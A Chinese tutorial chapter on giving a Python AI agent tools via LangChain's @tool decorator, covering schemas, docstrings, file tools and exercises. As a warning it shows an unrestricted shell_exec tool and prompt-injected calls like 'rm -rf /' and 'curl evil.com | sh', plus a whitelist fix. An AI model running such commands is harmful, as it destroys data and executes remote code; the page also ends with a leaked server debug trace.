当前位置:首页>python>800行Python代码实现Claude Code 第三章:工具层(Tools)——给 Agent 装上手脚

800行Python代码实现Claude Code 第三章:工具层(Tools)——给 Agent 装上手脚

  • 2026-03-12 02:18:51
800行Python代码实现Claude Code 第三章:工具层(Tools)——给 Agent 装上手脚

目标:理解@tool 装饰器的工作原理,掌握工具设计原则,能创建自定义工具。


3.1 概念讲授:为什么 LLM 需要工具?

LLM 是"纯文字"的——它能理解和生成文字,但无法:

  • 读取你电脑上的文件
  • 执行 Shell 命令
  • 访问实时互联网

工具(Tool)是连接 LLM 和真实世界的桥梁:

  1. LLM(大脑)←→Tools(手脚)←→真实世界
  2. 调用执行

Tool Calling 的工作机制

  1. 发送请求(含工具Schema
  2.    LLM ←────────Agent
  3. 返回 tool_call(结构化 JSON
  4.    LLM ────────→Agent
  5. 执行工具
  6. Agent──────→ToolPython函数)
  7. 返回结果
  8. Tool────────→Agent
  9. 把结果加入对话历史,再次调用 LLM
  10. Agent──────→ LLM

3.2 概念讲授:@tool 装饰器做了什么?

  1. from langchain.tools import tool
  2. @tool
  3. def write_text_file(path: str, content: str)-> str:
  4. """Write content to a file (overwrites if exists)."""
  5. with open(path,"w", encoding='utf-8')as f:
  6.         f.write(content)
  7. return f"File {path} written successfully"

@tool 自动完成三件事:

  1. 提取函数签名 → 生成 JSON Schema(LLM 靠这个知道参数格式)
  2. 提取 docstring → 成为工具描述(LLM 靠这个知道何时调用)
  3. 包装为 StructuredTool → 统一.invoke() 接口

Schema 长什么样?

  1. import json
  2. from tools import write_text_file
  3. print(json.dumps(write_text_file.args_schema.schema(), indent=2))

输出:

  1. {
  2. "title":"write_text_fileSchema",
  3. "type":"object",
  4. "properties":{
  5. "path":{
  6. "title":"Path",
  7. "type":"string"
  8. },
  9. "content":{
  10. "title":"Content",
  11. "type":"string"
  12. }
  13. },
  14. "required":["path","content"]
  15. }

LLM 收到这个 Schema,就知道:调用write_text_file 需要提供path(字符串)和content(字符串)。


3.3 tools.py 逐行解析

shell_exec:最强但最危险

  1. @tool
  2. def shell_exec(command: str)-> str:
  3. """Execute a shell command and return its output.
  4.     Use this for curl, wget, ls, mkdir, rm, cat, etc."""
  5. try:
  6.         result = subprocess.run(
  7.             command,
  8.             shell=True,# ⚠️ 允许任意 shell 语法
  9.             capture_output=True,
  10.             text=True,
  11.             timeout=30# 防止命令卡死
  12. )
  13.         output = result.stdout.strip()
  14.         error = result.stderr.strip()
  15. if result.returncode !=0:
  16. return f"Error (code {result.returncode}): {error or 'No error message'}"
  17. return output or"(command succeeded, no output)"
  18. exceptExceptionas e:
  19. return f"Execution failed: {str(e)}"

shell=True 的安全风险

  1. # 正常调用
  2. shell_exec("ls -la")# 列出目录 ✓
  3. shell_exec("mkdir -p test/")# 创建目录 ✓
  4. # 危险调用(如果 LLM 被"提示注入")
  5. shell_exec("rm -rf /")# 删除所有文件 ✗
  6. shell_exec("curl evil.com | sh")# 执行远程脚本 ✗

生产环境保护方案

  1. # 白名单过滤
  2. ALLOWED_COMMANDS =["ls","mkdir","cat","python3","echo"]
  3. def shell_exec_safe(command: str)-> str:
  4.     cmd_name = command.strip().split()[0]
  5. if cmd_name notin ALLOWED_COMMANDS:
  6. return f"Error: command '{cmd_name}' not allowed"
  7. ...
  8. # 或使用 Docker 容器隔离(生产推荐)

readtextfile / writetextfile / appendtextfile

  1. @tool
  2. def write_text_file(path: str, content: str)-> str:
  3. """Write content to a file (overwrites if exists).
  4.     Use append_text_file to add without overwriting."""
  5. # 注意:mode 参数不暴露给 LLM!
  6. # 早期版本有 mode 参数,LLM 可能传入 "w" 覆盖系统文件
  7. with open(path,"w", encoding='utf-8')as f:
  8.         f.write(content)
  9. return f"File {path} written successfully"
  10. @tool
  11. def append_text_file(path: str, content: str)-> str:
  12. """Append content to an existing file without overwriting it."""
  13. with open(path,"a", encoding='utf-8')as f:
  14.         f.write(content)
  15. return f"Content appended to {path}"

设计要点write 和append 分成两个工具,而不是一个有mode 参数的工具。 原因:mode 参数暴露给 LLM 意味着 LLM 可以任意选择"w" 覆盖或"a" 追加,容易出错,也有安全风险。

edittextfile:大小写陷阱修复

  1. @tool
  2. def edit_text_file(path: str, instruction: str)-> str:
  3. """Edit file content. Examples:
  4.     - "add 'Hello world' at the end"
  5.     - "replace 'Hello' with 'Hi'"
  6.     """
  7. ...
  8.     lower_instr = instruction.lower()
  9. if lower_instr.startswith("add "):
  10. # ✅ 用原始 instruction 取内容,保留大小写
  11.         to_add = instruction[4:].strip()
  12. ...
  13. elif"replace"in lower_instr:
  14. # ✅ 用 lower_instr 定位,从原始 instruction 提取值
  15.         replace_idx = lower_instr.index("replace")+ len("replace")
  16.         with_idx = lower_instr.find(" with ", replace_idx)
  17.         old = instruction[replace_idx:with_idx].strip().strip("'\"")
  18.         new = instruction[with_idx +6:].strip().strip("'\"")
  19. ...

经典 Bug vs 修复对比

  1. # ❌ 错误:instruction.lower() 后提取值
  2. parts = instruction.lower().split("replace")
  3. # "replace Hello with World" → lower → "replace hello with world"
  4. # old = "hello"(不是 "Hello"!),文件中的 "Hello" 不会被替换
  5. # ✅ 正确:只用 lower 做模式匹配,从原始字符串取值
  6. lower_instr = instruction.lower()
  7. replace_idx = lower_instr.index("replace")+7
  8. with_idx = lower_instr.find(" with ", replace_idx)
  9. old = instruction[replace_idx:with_idx].strip()# 原始大小写

3.4 Tool docstring 设计原则

docstring 是 LLM 决定是否调用这个工具的唯一依据。

对比示例

  1. # ❌ 差的 docstring
  2. @tool
  3. def write_text_file(path: str, content: str)-> str:
  4. """写文件"""
  5. # LLM 看到这个:不知道是覆写还是追加,不知道编码,不知道何时用
  6. # ✅ 好的 docstring
  7. @tool
  8. def write_text_file(path: str, content: str)-> str:
  9. """Write content to a file (overwrites if exists).
  10.     Use append_text_file to add without overwriting."""
  11. # LLM 看到这个:
  12. # 1. 知道会覆写("overwrites if exists")
  13. # 2. 知道有替代工具("Use append_text_file...")
  14. # 3. 会在需要覆写时选择这个工具

设计清单

  • 说明做什么:动词开头,描述工具功能

    说明副作用:覆写?追加?删除?创建?

    说明何时用:与相似工具的区别

    举例(复杂工具):Example:"replace 'old' with 'new'"

    避免冗余:不要重复函数名或参数名


3.5 工具的调用方式

  1. # 方式 A:.invoke() 传字典(推荐,类型安全)
  2. result = write_text_file.invoke({"path":"test.txt","content":"hello"})
  3. # 方式 B:直接调用(也可以,但 @tool 包装后签名可能变化)
  4. result = write_text_file("test.txt","hello")
  5. # 方式 C:AgentExecutor 自动调用(Agent 内部使用)
  6. # executor 会根据 LLM 的 tool_call 自动找到工具并执行

✏️ 带练 3-A:验证工具与查看 Schema

  1. # 1. 测试写入和读取
  2. uv run python -"
  3. from tools import write_text_file, read_text_file
  4. result = write_text_file.invoke({'path': '/tmp/test.txt', 'content': 'Hello, Tool!'})
  5. print('Write:', result)
  6. content = read_text_file.invoke({'path': '/tmp/test.txt'})
  7. print('Read:', content)
  8. "
  9. # 2. 查看工具 Schema(LLM 实际看到的格式)
  10. uv run python -"
  11. import json
  12. from tools import write_text_file, shell_exec
  13. print('=== write_text_file Schema ===')
  14. print(json.dumps(write_text_file.args_schema.schema(), indent=2))
  15. print()
  16. print('=== shell_exec description ===')
  17. print(shell_exec.description)
  18. "
  19. # 3. 列出所有已注册工具
  20. uv run python -"
  21. from tools import tools
  22. from skills import skills
  23. all_tools = tools + skills
  24. for t in all_tools:
  25.     print(f'{t.name:30s} {t.description[:60]}')
  26. "

📝 独立练习 3-1

题目:实现一个count_lines 工具,接受文件路径,返回该文件的行数。

  1. @tool
  2. def count_lines(path: str)-> str:
  3. """Count the number of lines in a file.
  4.     Returns the line count as a string, or an error message if the file cannot be read."""
  5. # 提示:
  6. # 1. 用 open() 读取文件
  7. # 2. 用 .splitlines() 或 len(f.readlines()) 计算行数
  8. # 3. 异常处理(文件不存在等)
  9. pass

验收

  1. uv run python -"
  2. from tools import count_lines  # 假设你把它加到 tools.py
  3. print(count_lines.invoke({'path': 'tools.py'}))
  4. # 预期:类似 "tools.py has 113 lines"
  5. "

📝 独立练习 3-2

题目:实现一个search_in_file 工具,在文件中搜索关键词,返回包含该词的所有行及行号。

  1. @tool
  2. def search_in_file(path: str, keyword: str)-> str:
  3. """Search for a keyword in a file and return matching lines with line numbers.
  4.     Example: search_in_file('/etc/hosts', 'localhost')"""
  5. pass

🔍 小测 3

选择题:以下哪个@tool 函数的定义最好?

  1. # A
  2. @tool
  3. def delete_file(path: str, confirm: bool =True)-> str:
  4. """Delete a file. confirm=True requires verification."""
  5. if confirm:
  6. import os; os.remove(path)
  7. return"Deleted"
  8. # B
  9. @tool
  10. def delete_file(path: str)-> str:
  11. """Permanently delete a file from the filesystem.
  12.     WARNING: This cannot be undone. Check the path carefully before using."""
  13. import os
  14. ifnot os.path.exists(path):
  15. return f"File not found: {path}"
  16.     os.remove(path)
  17. return f"Deleted: {path}"
  18. # C
  19. @tool
  20. def delete_file(path, confirm)-> str:
  21. """Delete."""
  22. import os; os.remove(path)
  23. return"ok"

答案解析

  • A 有问题confirm:bool 参数暴露给 LLM,LLM 可能传False 跳过确认
  • B 最好:有类型注解(Schema 正确生成),docstring 清晰说明风险,有存在性检查,返回有意义的信息
  • C 最差:无类型注解(Schema 无法生成),docstring 无意义,无错误处理

填空题:写出调用list_dir 工具、列出/tmp 目录的正确代码:

  1. from tools import list_dir
  2. result = list_dir.invoke(________)

答案list_dir.invoke({"path":"/tmp"})


本章小结

概念
要点
@tool
将 Python 函数包装为 LangChain 工具,自动生成 Schema
docstring
LLM 决策的依据,必须清晰说明功能和适用场景
shell=True
功能强大但危险,生产环境需要白名单或容器隔离
参数设计
只暴露 LLM 需要决策的参数;确定性操作不让 LLM 选择
.invoke({})
推荐的工具调用方式,传字典,类型安全

相关合集:
AI实践-开发最小AIAgent&Skills

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-03-28 04:05:24 HTTP/2.0 GET : https://f.mffb.com.cn/a/479210.html
  2. 运行时间 : 0.081460s [ 吞吐率:12.28req/s ] 内存消耗:4,873.00kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=9f1b1110c573defecbe399764d31d999
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000446s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000624s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000304s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000278s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000492s ]
  6. SELECT * FROM `set` [ RunTime:0.000279s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000537s ]
  8. SELECT * FROM `article` WHERE `id` = 479210 LIMIT 1 [ RunTime:0.000509s ]
  9. UPDATE `article` SET `lasttime` = 1774641924 WHERE `id` = 479210 [ RunTime:0.003085s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 66 LIMIT 1 [ RunTime:0.000235s ]
  11. SELECT * FROM `article` WHERE `id` < 479210 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000436s ]
  12. SELECT * FROM `article` WHERE `id` > 479210 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.002597s ]
  13. SELECT * FROM `article` WHERE `id` < 479210 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.000639s ]
  14. SELECT * FROM `article` WHERE `id` < 479210 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001337s ]
  15. SELECT * FROM `article` WHERE `id` < 479210 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.000834s ]
0.083113s